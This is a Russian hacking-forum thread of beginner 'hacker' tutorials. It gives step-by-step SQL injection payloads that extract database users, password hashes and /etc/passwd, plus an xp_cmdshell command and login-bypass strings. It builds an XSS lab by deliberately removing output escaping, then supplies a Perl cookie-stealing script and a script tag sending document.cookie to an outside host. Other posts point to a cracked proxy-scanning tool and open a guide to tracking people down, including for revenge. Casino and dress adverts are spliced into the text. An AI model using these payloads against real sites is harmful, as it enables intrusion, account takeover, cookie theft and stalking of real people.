Ваш ключ: необходима авторизация | MyProxy - бесплатный обменник валидных прокси между пользователями форума.

Как стать хакером? Базовые навыки

Тема в разделе Общие вопросы, создана пользователем Golden K., 27 май 2016.

Войдите для ответа
  1. Golden K. Заблокирован

    Golden K.
    Статус:
    Вне сети
    Сообщения:
    541
    Симпатии:
    140
    Регистрация:
    04.05.16
    Этот вопрос возникает у многих ребят во время первых исследований сети, программ и алгортимов. Если ты задумался о том, как стать Хакером, и это серьезно, разреши пожать тебе руку - твой исследовательский подход вызывает уважение!

    Львиная доля современных web-приложений использует для хранения больших объемов информации базы данных. Практически все языки программирования, используемые на стороне сервера, поддерживают работу с базами данных, а обеспечивает интерфейс взаимодействия между языком программирования и хранилищем данных система управления базой данных (СУБД), которая осуществляет управление базой на низком уровне.
    Наибольшее признание у web-разработчиков получили СУБД MySQL,PostgreSQL, Microsoft SQL. Для обращения к СУБД используется специальный структурированный язык запросов под названием SQL(Structured Query Language).
    SQL-injection (SQL-инъекция, вторжение) – это метод получения доступа к данным сервера посредством подмены части определенного SQL-запроса на код злоумышленника.
    Смысл данной атаки заключается в нахождении и использовании ошибки разработчика на стыке двух технологий - web и SQL Заказывайте платья от производителя в интернет-магазине ubki-valentina.ru . При обработке данных, приходящих от пользователя, большинство скриптов на основании этих данных формирует запрос к базе, при отсутствии всевозможных проверок и должной защитной фильтрации, очень легко получить доступ к базе подменой ожидаемых данных на код взломщика.
    Например, рассмотрим распространенную уязвимость (в связке PHP/MySQL) сайтов недобросовестных разработчиков по шагам. У нас есть рабочий URL:
    www.site.ru/index.php?id=123

    Проверим его на наличие фильтрации, подставив в конец кавычку:
    www.site.ru/index.php?id=123’

    Сайт с защитной фильтрацией должен выдать ошибку, но если ошибки нет, это не значит, что сайт уязвим, возможно, просто вывод ошибок в браузер запрещен в настройках сервера. Чтобы полностью удостовериться в наличии уязвимости подставим арифметическое выражение:
    www.site.ru/index.php?id=124-1

    Если теперь в окне браузера будет выведена страница в таком же виде как
    www.site.ru/index.php?id=123

    ,значит, выражение было выполнено и сценарий не отфильтровал его – это говорит о том, что уязвимость присутствует.
    Теперь необходимо определить из какого поля таблицы выводятся данные в браузер. Для этого вводим такой код:
    www.site.ru/index.php?id=123 +union+select+1,2,3,4,5,6,7,8/*

    Если в браузере выведется цифра 5 – значит, выводится значение 5 поля. Воспользуемся этим значением, попробуем выполнить команду и выяснить версиюSQL:
    www.site.ru/index.php?id=123 +union+select+1,2,3,4,version(),6,7,8/*

    В браузере выведется номер версии SQL. Можно узнать имя пользователя базы данных:
    www.site.ru/index.php?id=123 +union+select+1,2,3,4,user(),6,7,8/*

    Выведется имя пользователя базы, например user@localhost. Также легко выясняем имя базы данных такой командой:
    www.site.ru/index.php?id=123 +union+select+1,2,3,4,database(),6,7,8/*

    Получим имя базы, например bd_site.
    Теперь попробуем получить имя пользователя из таблицы, в которой хранятся данные о пользователях.
    Необходимо методом "научного тыка" выяснить имя этой таблицы, предположим users. Пробуем ввести следующий URL:
    www.site.ru/index.php?id=123 +union+select+1,2,3,4,name,6,7,8 +from+users+limit+1,1

    Если имя таблицы введено правильно, то в браузере появится имя первого пользователя из таблицы, к примеру, admin. Теперь можно узнать его пароль:
    www.site.ru/index.php?id=123 +union+select+1,2,3,4,password,6,7,8 +from+users+limit+1,1

    Через такую дырку в защите можно даже читать файлы с сервера:
    www.site.ru/index.php?id=123 +union+select+1,2,3,4, loаd_filе(/еtc/pаsswd),6,7,8/*

    Мы получим содержимое стандартного файла паролей в каталоге /etc, для семейства UNIX-подобных систем.
    Все выше перечисленные действия принципиально не отличаются в СУБД MySQL,PostgreSQL и MS SQL Server. Но в MS SQL Server еще проще получить пароли, если упущена должная фильтрация. Исполняя команды на сервере при помощиехес mаstеr..хp_сmdshеll, можно подключиться к некоторому IP по Telnet'у, вместо пароля или логина вставив:
    '; еxеc mаstеr..xp_cmdshеll 'tеlnеt 192.168.0.12' --

    Для защиты от подобного типа вторжений необходимо использовать фильтры, предоставляемые производителями СУБД. Необходимо так же разрабатывать свои собственные решения для защиты – самодельные фильтры и проверки, активно используя регулярные выражения (в PHP много интересных функций для работы с ними).

    Очень часто для того, чтобы скачать с какого-либо ресурса файл или получить возможность использовать какой-нибудь сервис, от нас требуют регистрацию. Все бы ничего, но вот регистрироваться за деньги это уже слишком, поэтому давайте рассмотрим один из вариантов получения доступа по шагам. Распространенная схема авторизации на PHP в связке с MySQL обычно выглядит примерно так:
    $result=mysql_db_query($DB,"SELECT * FROM $table WHERE name='$login' AND
    password='$pass'");
    $numRows=mysql_num_rows($result);
    mysql_close($link);
    if ($numRows!=NULL)
    {
    // код, выполняемый в случае успешной авторизации
    // ( когда логин и пароль введены верно )
    else
    {
    // код, выполняемый в случае непрохождения авторизации
    // ( введенные логин и пароль не соответствуют )
    }


    При вводе данных в форму авторизации, формируется запрос примерно такого содержания:
    http://www.site.ru?login=ivan&pass=12345

    Затем скрипт, обрабатывающий данные формы авторизации, формирует SQL запрос следующего вида:
    SELECT * FROM users WHERE login='ivan' AND pass='12345'

    После выполнения такого запроса функция mysql_db_query() вернет все записи из таблицы "users" с логином "ivan" и паролем "12345". Из приведенного в начале кода видно, что при наличии в базе пользователя с такими данными, перейдет управление к блоку кода, выполняемому в случае успешной авторизации. Авторизоваться на таком сайте можно и без пароля, при отсутствии в скрипте авторизации экранов и всевозможных фильтров, исключающих выполнение посторонних SQL-инструкций. Попробуем указать в качестве пароля строку:
    12345’ AND id=’21

    В этом случае сформируется запрос следующего вида:
    SELECT * FROM users WHERE login='ivan' AND password='12345' AND id='21'

    Получается, что теперь авторизация будет успешной лишь в том случае, если совпадут не только логин и пароль, но и идентификатор пользователя. Легко догадаться, что теперь при помощи логического оператора OR, мы можем добавить инструкцию, которая всегда будет возвращать true. Для этого введем в поле логина строку:
    ivan’ OR 1=1--‘

    Сформируется запрос следующего вида:
    SELECT * FROM users WHERE login='ivan' OR 1=1--' AND pass='12345'

    Для тех, "кто в танке", поясню, что последовательность "--" говорит о конце запроса, поэтому вся последующая часть SQL-инструкции выполняться не будет. В результате, какой бы логин мы ни ввели, а тем более пароль, будет выполняться блок кода успешной авторизации. Теперь мы авторизованные пользователи ресурса и можем качать все, что нам нужно и пользоваться всеми привилегиями.
    Все это хорошо, но это общий случай. В каждом отдельном случае, мы не можем знать в какой последовательности и как, формируется запрос к базе. Поэтому придется вводить конструкции типа "ivan’ OR 1=1--" в каждое поле формы авторизации. Обязательно проверьте форму авторизации на наличие hidden полей. Если они существуют, необходимо сохранить HTML-страницу и подставить в ее код нужные значения hidden полей, после чего запустить, не забыв при этом указать полный путь к скрипту-обработчику формы авторизации в теге .
    Необходимо не забывать и о том, что у разных программистов разные стили, кто-то использует в запросах ‘, кто-то “, а некоторые вообще обходятся без них, поэтому и SQL-инъекции могут выглядеть так:

    ' OR 1=1--
    " OR 1=1--
    OR 1=1--

    Не исключено и использование в запросах круглых скобок, например:
    SELECT * FROM users WHERE (login='ivan' AND pass='12345')

    В этом случае можно попробовать такой вариант:
    ') OR ('a'='a

    Главное при подборе нужной инструкции опробовать как можно больше вариантов, и тогда удача вам обязательно улыбнется :).

    Пример уязвимого скрипта, демонстрирующего пример с авторизацией, любезно предоставленного Shadie, а также дамп бд:

    1. <?php
    2. ini_set('error_reporting', E_ALL);
    3. ini_set('display_errors', 'on');
    4. mysql_connect('localhost', 'h4ck3r', 'h4ck3r');
    5. mysql_select_db('hack');
    6. if ($_POST) {
    7. $sql = "SELECT * FROM `users` WHERE `login`='".$_POST['login']."'".
    8. " AND `passwd`='".md5($_POST['pass'])."'";
    9. $user_res = mysql_query($sql);
    10. $user = array();
    11. if (!$user_res) {
    12. echo "Fail";
    13. } else {
    14. $user = mysql_fetch_array($user_res);
    15. }
    16. }
    17.
    18. if ($user) {
    19. ?>
    20. Hello, <?=$user['login']?>.
    21. <?php
    22. } else {
    23. if ($_POST) {
    24. ?>
    25. <?=$_POST['login']?> is not valid login.
    26. <?php
    27. }
    28.
    29. ?>
    30. <form method="post">
    31. Login: <input type="text" name="login"/><br/>
    32. Pass: <input type="text" name="pass"/><br/>
    33. <input type="submit" value="enter"/>
    34. </form>
    35. <?php
    36. }
    37. /*
    38. --
    39. -- Table structure for table `users`
    40. --
    41.
    42. CREATE TABLE IF NOT EXISTS `users` (
    43. `id` int(11) NOT NULL AUTO_INCREMENT,
    44. `login` varchar(32) NOT NULL,
    45. `passwd` varchar(32) NOT NULL,
    46. PRIMARY KEY (`id`),
    47. UNIQUE KEY `login` (`login`)
    48. ) ENGINE=MyISAM DEFAULT CHARSET=UTF-8 AUTO_INCREMENT=2;
    49.
    50. --
    51. -- Dumping data for table `users`
    52. --
    53.
    54. INSERT INTO `users` (`id`, `login`, `passwd`) VALUES
    55. (1, 'shadie', '202cb962ac59075b964b07152d234b70'),
    56. (2, 'test', 'test');
    57.
    58. */
    59.
    60. /*
    61. * sample data:
    62. * 1. Вход под известным логином
    63. * login : shadie' OR '1'='1
    64. * либо login: shadie' --
    65. * > Hello, shadie
    66. *
    67. * 2. Вход под первым логином в базе
    68. * login : ' OR 1 LIMIT 1 --
    69. * > Hello, shadie
    70. *
    71. * 3. Перебор логинов в базе (M - число-смещение от начала таблицы)
    72. * login : ' OR 1 LIMIT M,1 --
    73. * > (M == 1) Hello, test
    74. *
    75. * 4. Получение хэша пароля
    76. * login : ' UNION SELECT `id`, `passwd` AS 'login', `passwd` FROM `users` --
    77. * > Hello, 202cb962ac59075b964b07152d234b70.
    78. * (LIMIT используется так же как и в предыдущем случае)
    79. *
    80. */
    81. ?>


    На этой торжественной ноте, пожалуй, будем заканчивать. На самом деле, данную тему можно развернуть на несколько страниц текста, т.к. она очень обширна и уложиться в одну статью попросту невозможно. Поэтому, в качестве дополнения к статье, предлагаю читателям самостоятельно изучить вот эту брошюру от Positive Technologies(спасибо Pr0d-у за линк :)), которая является отличным наглядным пособием по SQL-инъекциям, пожалуй, лучшим из того, что я видел по данной теме.
     
    27 май 2016 #1
    Hrum, EvilLovesMe, junky и 4 другим нравится это.
  2. Golden K. Заблокирован

    Golden K.
    Статус:
    Вне сети
    Сообщения:
    541
    Симпатии:
    140
    Регистрация:
    04.05.16
    Просматривая в сети Интернет сайты и форумы схожей с нашим сайтом тематики, очень часто встречаю такие вопросы и просьбы: «подскажите, где мне взять прокси?», «а где достать прокси для брута?» , «кто-нибудь, выложите рабочие прокси» и тому подобное. Собственно это, от части, и сподвигло меня написать статью о том, как можно самостоятельно, без чьей-либо помощи, искать эти «пресловутые» прокси...
    Самым лучшим вариантом конечно же является покупка прокси у лиц, профессионально занимающихся добычей и продажейсписков прокси. Здесь и качество, и гарантии, и высокая скорость у прокси. Но стоимость таких услуг наверняка не каждому по-карману, не так ли?
    Просить кого-либо выложить списки прокси тоже не вариант, так как с вами могут поделиться рабочими прокси, а могут и послать ... в гугл :). Поэтому, отчаиваться не будем, а будем самостоятельно искать прокси ,никому не мешая своими вопросами и просьбами ;).
    Итак, начнём. Способов добычи прокси существует достаточно много, как и инструментов для их поиска. Это различныепрокси-личеры, прокси-грабберы, прокси-чекеры, сканеры портов и подобные программы, в добавок к которым идут утилиты для работы со списками прокси для «выдирания» только нужного(ip:port), для поиска и удаления дубликатов и т.п. Брр, сколько всего... O_O
    Заострять внимание на какой-либо программе из всех этих «брр» я не буду. Не буду потому, что на мой взгляд все они являются «узконаправленными», а потому — неактуальными перед более совершенными и функциональными программами, такими как ProxyFire Master Suite Pro. На самом деле, назвать ProxyFire программой как-то язык не поворачивается, поскольку это целый программный комплекс, «комбайн», если хотите, в состав которого входит всё, что нам необходимо дляпоиска рабочих прокси. По своим функциональным возможностям ProxyFire Master Suite Pro, по-моему, не имеет аналогов в своём классе, и все остальные программы просто «курят» в сторонке...

    К основным возможностям этого «комбайна» следует отнести:

    1. прокси-чекер (проверка списка прокси на валидность)
    2. прокси-личер (сбор прокси с форумов/сайтов /etc)
    3. поиск прокси, используя поисковые системы (например Гугл)
    4. сканер ip диапазонов на открытые порты
    5. прокси-фильтр (удаление дубликатов, удаление прокси из «опасных» диапазонов ip, возможность делать выборку по странам)

    От холивара перейдём к делу :) и рассмотрим эти возможности на практике:

    сама программа является коммерческим продуктом, стоимость порядка 30 баксов, если не ошибаюсь, скачать её(версия 1.22) можно http://hack-academy.ru/hacksoft/softbruteforce/34-wwwhack.html, "пилюлю" к ней можно найти вот http://hack-academy.ru/hacksoft/scanners/46-nmap-3.75.html, там же находится и русификатор. Как вы поступите - дело ваше. Итак, программа у вас есть, лицензия приобретена :), переходим к настройке: Онлайне Европейская рулетка в казино vgrand-casino.ruигра с контролем честности.
    Для работы программы необходимы проверочные URL. Виден список этих проверочных адресов, рабочие из них со статусомОК. Список с проверочными адресами уже есть в программе, но можно создать свои, или найти в Интернете. Для создания собственных, необходимо разместить на хостинге php скрипт azenv.php следующего содержания:

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
    <head>
    <title>AZ Environment variables 1.04</title>
    </head>
    <body>
    <pre>
    <?php
    foreach ($_SERVER as $header => $value ) {
    if(strpos($header , 'REMOTE')!== false || strpos($header , 'HTTP')!== false || strpos($header , 'REQUEST')!== false) {
    echo $header.' = '.$value."\n";
    }
    }
    ?>
    </pre>
    </body>
    </html>
    и указать путь к этому скрипту в программе(кнопка "Добавить"). Остальные настройки, возможно кроме внешнего вида, нас не интересуют.

    Предположим, у вас есть список прокси и вы хотите проверить его на рабочие(валидные) прокси, для этого импортируем список(кнопка "Импорт"), выставляем количество потоков(здесь и далее при выборе количества потоков необходимо исходить из "ширины" вашего канала в инет, чем "шире" канал, тем больше потоков можно выставить соответственно), отмечаем галочками тип прокси, которые нам нужны и жмём кнопку "Начать". Результаты проверки мы увидим в соответствующих типам прокси окнах, также их можно посмотреть, нажав кнопку "Папка".

    Личинг


    В том случае, если у вас нет списка прокси для проверки, можно найти прокси методом личинга, т.е. собрать списки прокси с различных форумов, сайтов и прочих ресурсов. Делается это так:
    указываем количество соединений форумов, количество топиков, в которых будет производиться поиск, список адресов форумов уже есть в программе, но можно добавить и свои(кнопка "Изменить").
    Всё, можно начинать процесс сбора прокси... Когда программа закончит поиск по форумам, вы увидите просто огромное количество прокси, но не обольщайтесь, это всего лишь собранные списки прокси с форумов и не больше, т.е.рабочих из них будет совсем немного по сравнению с общим количеством. Теперь можно приступить к проверке собранных списков прокси, жмём на кнопку "Проверить" и начинается процесс проверки.

    Поиск прокси, используя поисковые системы

    тот способ поиска прокси заключается в том, что прокси для нас будут искать поисковики)))
    Каким поисковиком будете пользоваться - дело ваше, я выбрал Гугл для примера.
    Проверяем, что у нас прописано в конфигах для поисковиков: Гугл - кнопка "Изменить". Должно быть вот это:

    Для Гугла

    [search]
    name=Google
    engine=http://www.google.com/search?hl=en&lr=&as_epq=%KEYWORD%&start=%PAGE%
    link_start=<li class=g>
    link_end=</a>


    Для Baidu

    [search]
    name=Baidu
    engine=http://www.baidu.com/s?wd="%KEYWORD%"&cl=3&pn=%PAGE%
    link_start=<td class=f>
    link_end=target="_blank"


    Для Yahoo!

    [search]
    name=Yahoo!
    engine=http://search.yahoo.com/search?p="%KEYWORD%"&ei=UTF-8&b=%PAGE%
    link_start=<a class=
    link_end=</a>


    Для MSN

    [search]
    name=MSN
    engine=http://search.msn.com/results.aspx?q="%KEYWORD%"&first=%PAGE%
    link_start=<h3>
    link_end=onmousedown


    Теперь нам необходимо задать ключевые слова для поиска, жмём на кнопку "Ключевые слова" и добавляем туда несколько адресов прокси в формате ip:port. Эти прокси можно найти на любом сайте, где выкладываются списки прокси, например _http://www.freeproxylists.com/socks.html или _http://spys.ru/socks. Последние добавленные проксилучше не брать, а взять "постарее". Теперь задаём количество потоков и начинаем процесс поиска("Начать"). В результате проверки мы получим опять же огромный список прокси, который нужно будет проверить(кнопка "Проверить"). Огромный список получится потому, что помимо прокси, указанных в Ключевых словах, будут взяты все другие адреса прокси, имеющиеся на странице.

    Сканирование ip на открытые порты


    Все предыдущие способы поиска прокси заключались в сборе паблик-прокси, т.е. тех, которые выложены в свободное пользование. Это значит, что кроме вас этими прокси могут пользоваться ещё несколько человек, Вася Пупкин из соседнего подъезда с друзьями, например :). И желаемой скорости от таких прокси вы можете и не получить. Рассмотрим процесс сканирования ip адресов на открытые порты:

    Вкладка "Сканирование IP" - "Создать IP диапазоны", импортируем список прокси, выставляем значение, на которое будут расширены диапазоны, если необходима выборка по странам, например только США - жмём соответствующую кнопку и указываем предел стран, затем жмём кнопку "Начать". Программа сгенерирует диапазоны ip и их нужно скопировать(кнопка "Скопировать").

    Во вкладке "Сканер" мы увидим созданные диапазоны ip адресов, ниже порты, которые можно редактировать, например оставить только порт 1080, либо наоборот, добавить какие-либо. Нажав на кнопку "Удалить опасные IP", программа произведёт очистку от "нехороших" ip адресов, которые сканировать скажем так нежелательно для вас же самих... Приоритет сканера - Normal, метод сканирования - TCP, указываем количество потоков и таймаут(значение 6-12 оптимально для поискабыстрых прокси).

    Начинаем процесс сканирования(кнопка "Scan"). Чем хорош этот способ поиска? Тем, что используя его, можно найти хорошие быстрые прокси, которых нет в паблике.
    Во вкладке "Прокси Фильтры" вы можете производить операции со списком прокси: "выдирание" из листа только адреса и порта прокси(ip:port), удаление дубликатов, очистку от "опасных" диапазонов ip адресов и прочие полезные вещи...

    Итак, процесс поиска прокси с использованием программного комплекса ProxyFire описан. При написании статьи я пытался максимально просто изложить материал, чтобы ни у кого не возникало вопросов и всем был понятен процесс, но если всё же вопросы есть, задавайте, постараюсь помочь. Также приветствуются дополнения, пожелания и т.п.)

    Желаю удачи вам в поисках прокси и большого ппс :)
     
    27 май 2016 #2
    Последнее редактирование: 27 май 2016
    Hrum и Requeste нравится это.
  3. Golden K. Заблокирован

    Golden K.
    Статус:
    Вне сети
    Сообщения:
    541
    Симпатии:
    140
    Регистрация:
    04.05.16
    Что такое XSS?


    XSS, согласно легендам древних Хакеров, переводится как межсайтовый скриптинг (Cross Site Scripting). Внимательный читатель заметит, что абривиатуры XSS и CSS несколько отличаются друг от друга, и вот с чем это связанно.

    Задолго до обнаружения такого метода атаки как XSS (по крайней мере до того, как XSS стали называть именно так), веб-дизайнеры ввели в обиход CSS стандарт (Каскадные Таблицы Стилей), которые помогали им выпендриваться и делать свои сайты не так, как у других, используя те же, собственно, html теги. Потому, при классификации XSS атак, первую букву в слове Cross было решено заменить на X ("Cross" также переводится как "Крест"). Так и пошло.

    Для того, чтобы правильно понять материал, у Вас должны быть хотя бы малейшие знания языка гипертекстовой разметки, ну и вообще примерное понимание общения браузера и веб-сервера. Скажу также, что данный метод атаки в целом не сложен, и вполне сносно излагается в рамках одной статьи. Если что-то будет "непониматься", значит либо у вас мало мозгов, либо у вас мало пива. Если без первого еще можно и обойтись, то без второго даже не знаю... Кому как. =)

    Суть Атаки:


    Сразу расставим точки над "i" - XSS это не атака на сайт или удаленный сервер! Это атака на пользователя этого сайта и не больше. Сайту в целом по барабану - в случае, если Хакер смог провести XSS атаку, скрипт просто будет выдавать, вместе с основным html контентом, задуманным автором сайта, некоторую последовательность кода. Серверу от этого ни тепло, ни холодно. А вот пользователю как раз может быть очень и очень жарко... Не врубился о чем речь? Ну так правильно, мы еще ни словом не задели сам процесс проведения атаки. Читай дальше.

    К XSS - атакам сайт становится уязвим, когда один из его сценариев кушает всю передаваемую строку, без всякой фильтрации на запрещенные символы. Что я имел в виду под фразой "запрещенные символы"? Это знаки разметки, то есть зарезервированные, "рабочие" символы языка html. Рассмотрим знак меньше или больше (""). Как мы знаем, они используются в языке html для разметки и обозначения тегов. И браузер интерпретирует их именно в этом контексте. Если мы попробуем сказать браузеру нечто типа:

    <p> В данном математическом примере очевидно, что b<a, и >c


    В данном математическом примере очевидно, что bc. Ведь очевидно, что сочетание символов "<" и "a" для него объявление гиперссылки. То есть в коде (по мнению браузера) объявляется ссылка, и затем он ищет закрывающий тег, и находит его! Как раз для этих целей в html есть альтернативное обозначение некоторых символов, например:
    & & амперсанд
    < < знак "меньше"
    > > знак "больше"

    Где первой колонкой идет имя, затем код, вид, и описание.

    Представим себе, что у нас есть гостевая книга, в которую может писать любой желающий. Он вводит свое имя, текст сообщения, и жмет кнопку "отправить". Данные из полей отправляются сценарию. Минимальная задача сценария такова: прочитать данные из полей, и добавить в html страницу гостевой книги, например следующие теги:

    <h6> Name </h6>
    <p>Text


    Где заместо Name он подставит данные из поля "Имя", и вместо Text будет идти собственно само сообщение. Что будет, если мы попробуем вставить в текст то предложение, которое мы пробовали скормить браузеру (про a и b)? Он просто добавит к странице гостевой книги текст как он есть и все. А открыв повторно ее браузером мы столкнемся с такой же проблемой.

    Чтобы примерно донести суть XSS уязвимости сайта, я заснял небольшой ролик, где на примере дырявого elefant.ru попытался представить атаку в более понятной форме.

    Скачать ролик

    Кстати, еще забавно, если попробовать в строку поиска вбить:

    <input type=button onclick=alert('Hack')>

    :). Где же тут XSS-атака? Нету! Ведь код у нас совсем не вредоносный. Но если в текст сообщения вставить нечто начинающееся со слов <script ... , то кажется начинает пахнуть жареным. Не чувствуешь? Ну да, возможно слишком сложно. Поэтому предлагаю рассмотреть все на практике.

    Готовим полигон:


    Для того, что бы рассмотреть все аспекты атаки, и, заодно, потренироваться, предлагаю сделать две вещи:

    - Во первых создать скрипт дырявой гостевой книги;
    - Запустить сервер на локалхосте;

    Ставим сервер:

    Начнем со второго. Перейдем на сайт _http://www.denwer.ru/ и скачаем от туда последнюю версию Денвера. Денвер - уникальная софтина, позволяющая в кратчайший срок поднять на локалхосте вполне работоспособный сервер. Очень полезен разработчикам, для локального теста скриптов.

    С установкой проблем возникнуть не должно - программа сама инициализирует и установит все необходимые модули.

    Запустив денвер с помощью ярлыка на рабочем столе "Start Denwer" наберем в адресной строке браузера строчку localhost. Если увидим некий ответ от Денвера - значит сервер работает.

    Если в процессе установки вы указали создать виртуальный диск под именем "Z", то файлы/скрипты должны хранится в папке "Z:\home\localhost\www".

    Поместим в данный каталог файл index.html с таким содержанием:

    <html>
    <head><title>My First Web-Page</title></head>
    <body> Это работает! </body>
    </html>


    И набрав в браузере "" мы убедимся, что все работает как по маслу. Теперь перейдем к созданию гостевой книги.

    Поднимаем гостевую книгу:

    Во первых создадим в нашей корневой папочке (Z:\home\localhost\www) файл с именем index.php, и запишем в него следующие строки:

    <?php
    include 'show_message.php';
    include 'form.inc';
    ?>


    Как следует из содержания, нужно создать еще два файла. Это form.inc:

    <form name="gbook" target="_self" method="post" action="gbook_add.php">
    Ваше имя: <br>
    <input type="text" name="username"><br>
    Ваш e-mail:<br>
    <input type="text" name="email"><br>
    Ваше сообщение:<br>
    <textarea name="message" rows="6" cols="37"></textarea><br>
    <input type="submit" name="send" value="Добавить сообщение">
    </form>


    И show_message.php:

    <?php
    $filename = "messages.dat";
    $delitmer = "<|-|>";
    $shablon = '
    <table border="1" width="100%">
    <tr>
    <td width="100%">Имя пользователя: <a href="mailto:%email%">%username%</a></td>
    </tr>
    <tr>
    <td width="100%">%message%</td>
    </tr>
    <tr>
    <td width="100%" align="right">%add_date%</td>
    </tr>
    </table>
    <br>';


    $data = @file($filename);

    foreach($data as $val)
    {
    list($username, $email, $message, $date) = explode($delitmer, trim($val));
    $tmp_message = str_replace("%username%", $username, $shablon);
    $tmp_message = str_replace("%email%", $email, $tmp_message);
    $tmp_message = str_replace("%message%", $message, $tmp_message);
    $tmp_message = str_replace("%add_date%", $date, $tmp_message);
    echo $tmp_message;
    }
    ?>


    Файл form.inc просто выводит html-форму для добавления нового сообщения. А скрипт show_message.php выводит в index.php все сообщения из файлаmessages.dat, который мы должны тоже создать, и оставить пустым. Самый главный скрипт - скрипт добавления сообщения в наш файл, имитирующий базу данных, будет называться gbook_add.php, и иметь такой вид:

    <?php
    $filename = "messages.dat";
    $delitmer = "<|-|>";
    $username_limit = 50;
    $email_limit = 80;
    $message_limit = 500;

    if (isset($_POST))
    {
    if (isset($_POST['username']) & isset($_POST['email']) & isset($_POST['message']))
    {
    if (((strlen($_POST['username'])>0) & (strlen($_POST['username'])<=$username_limit)) &
    ((strlen($_POST['email'])>0) & (strlen($_POST['email'])<=$email_limit)) &
    ((strlen($_POST['message'])>0) & (strlen($_POST['message'])<=$message_limit)))
    {
    $username = str_replace("\r\n", "<br>", htmlspecialchars($_POST['username']));
    $email = str_replace("\r\n", "<br>", htmlspecialchars($_POST['email']));
    $message = str_replace("\r\n", "<br>", htmlspecialchars($_POST['message']));
    $arr = array($username, $email, $message, date("d.m.Y"));
    $new_message = implode($delitmer, $arr) . "\r\n";
    $messages_arr = @file($filename);
    $messages_str = $new_message;
    $messages_str .= trim(implode("", $messages_arr));

    $fp = fopen($filename, "w+");
    fwrite($fp, $messages_str);
    fclose($fp);
    echo "<META HTTP-EQUIV=\"Refresh\" CONTENT=\"2; URL=index.php\">";
    echo "Ваше сообщение добавленно!";
    }
    else
    {
    echo "Ошибка!!!<br>Не все данные введенны, либо в одном из полей формы слишком мало символов.";
    }
    }
    }
    ?>


    Все! Гостевая книга готова... Если запутался - резюмирую:

    В папке Z:\home\localhost\www у нас лежит 5 файлов:

    gbook_add.php - добавляет сообщения, при нажатии кнопки "Добавить";
    messages.dat - пустой файл, в нем будут храниться сообщения;
    show_message.php - скрипт выводящий сообщения из файла messages.dat;
    form.inc - форма для добавления сообщения;
    index.php - индексная страница;

    Код всех файлов я привел выше. Но прилагаю также готовые файлы, на всякий случай. Их нужно просто сохранить в папку Z:\home\localhost\www:

    files.rar [1,45 Kb] (cкачиваний: 52)

    - все пять файлов в одном архиве;

    Проверим работоспособность скрипта, переходим по ссылке http://localhost/index.php и пробуем добавить сообщение. Имя, мыло пишем абсолютно любое, а вот сообщение добавим такого типа:

    Всем <h1>привет</h1>!


    Жмем добавить, обновляем страницу и видим, что ничего собственно не произошло... "Запрещенные" символы у нас отображаются, как ни в чем не бывало, и слово "привет" не отличается от слова "всем". Это произошло из-за того, что в скрипте присутствует примитивная защита от такого рода атаки. Откроем скрипт gbook_add.php и найдем там строки

    $username = str_replace("\r\n", "<br>", htmlspecialchars($_POST['username']));
    $email = str_replace("\r\n", "<br>", htmlspecialchars($_POST['email']));
    $message = str_replace("\r\n", "<br>", htmlspecialchars($_POST['message']));

    Удалим из каждой подстроку "htmlspecialchars", то есть выглядеть они у нас будут так:
    $username = str_replace("\r\n", "<br>", ($_POST['username']));
    $email = str_replace("\r\n", "<br>", ($_POST['email']));
    $message = str_replace("\r\n", "<br>", ($_POST['message']));


    Теперь добавим тоже самое сообщение! Вот. Теперь получилось... мы вовсе не видим тегов
    <h1>
    и
    </h1>
    , зато заметно, что браузер вполне нормально их интерпретировал.

    Заключение. Что осталось за кадром?



    Я не показал тебе, как из XSS уязвимости делать себе выгоду. Все эти теги, в сущности ничем не полезны. А полезных моментов может быть несколько:

    Ссылки: Мы можем поставить _прямую_ ссылку на наш ресурс в гостевой книге, да еще с указанием каким угодно title. Например:
    Академия Хакеров
    . Прямая ссылка может повышать наш PR и тИЦ, и вообще пойдет на пользу. Дырявые гостевые отличное подспорье для различных спам сервисов.

    Переадресации, всплывающие окна, на наш сайт.

    Кража кукисов: Написав небольшой cgi скрипт, к примеру, мы можем воровать куки пользователей, в том числе и администраторов портала. Выглядеть это может так:
    #!/usr/bin/perl -w

    # открываем файл cookies.txt для добавления инфы

    open COOKIES,">>../cookies.txt";

    print "Content-Type: text/html\n\n";

    # добавляем в файл метку, благодаря которой можно

    # увидеть, где начинается похищенный кукис

    print COOKIES "----------- new cookie -----------\n";

    # записываем переменную окружения QUERY_STRING,

    # содержащую параметры, передаваемые скрипту,

    # через которые хакер будет передавать данные кукиса

    print COOKIES "$ENV{'QUERY_STRING'}\n";

    # записываем в файл метку «конец кукиса»

    print COOKIES "---------- end of cookie ---------\n\n";

    # закрываем cookies.txt, записанная инфа сохраняется

    close COOKIES;

    Тогда в тексте письма нужно прописать нечто типа
    <script>value='http://hacksite.ru/cookie.cgi?' + document.cookie;</script>

    Куки будут наши!

    -----

    В общем место для фантазии есть. Я всего лишь хотел указать разработчикам веб-приложений на самые-самые распространенные ошибки при написании скриптов. Остерегайтесь их, и удачи...
     
    27 май 2016 #3
    Hrum и Requeste нравится это.
  4. Golden K. Заблокирован

    Golden K.
    Статус:
    Вне сети
    Сообщения:
    541
    Симпатии:
    140
    Регистрация:
    04.05.16
    Часто бывает так, что нам жизненно необходимо найти человека в сети, зная о нем минимум информации. Такое стремление может оправдываться горячей любовью, жаждой мести, и т.п. Сложность, как правило, заключается в том, что видимой уникальности индивида, которой нам нужен может и не быть.



    Я имею в виду, что под ником Alex может сидеть миллион человек. И найти того самого Alex'а довольно не просто. Хотя возможно.


    И это относится не только к поиску людей. Часто бывает нужно найти определенный документ, или информацию содержащуюся в нем. Это может быть не только контент файла. Например в .doc'овском документе кроме текста еще содержится информация о том, кто владелец файла (username), откуда он пришел, и еще целая цепочка юзеров, которые им владели. Это так, для примера.

    На самом деле Сетевая Разведка (разрешите мне ее так называть), это целое искусство. Она требует от Хакера внимательности, умения анализировать информацию, воссоединять общую картину по крупицам и маленьким частичкам знаний. Не у всех это получается. Нюх на информацию вырабатывается только со временем. Опытные Хакеры это подтвердят.

    Какими инструментами пользуется добытчик информации? Тут ответ многим очевиден. Естественно, всевозможным поиском. Также существуют вспомогательные сервисы для таких случаев. Работают они не одинакого. Рассмотрим подробнее некоторые из них:

    Поиск по картинке:

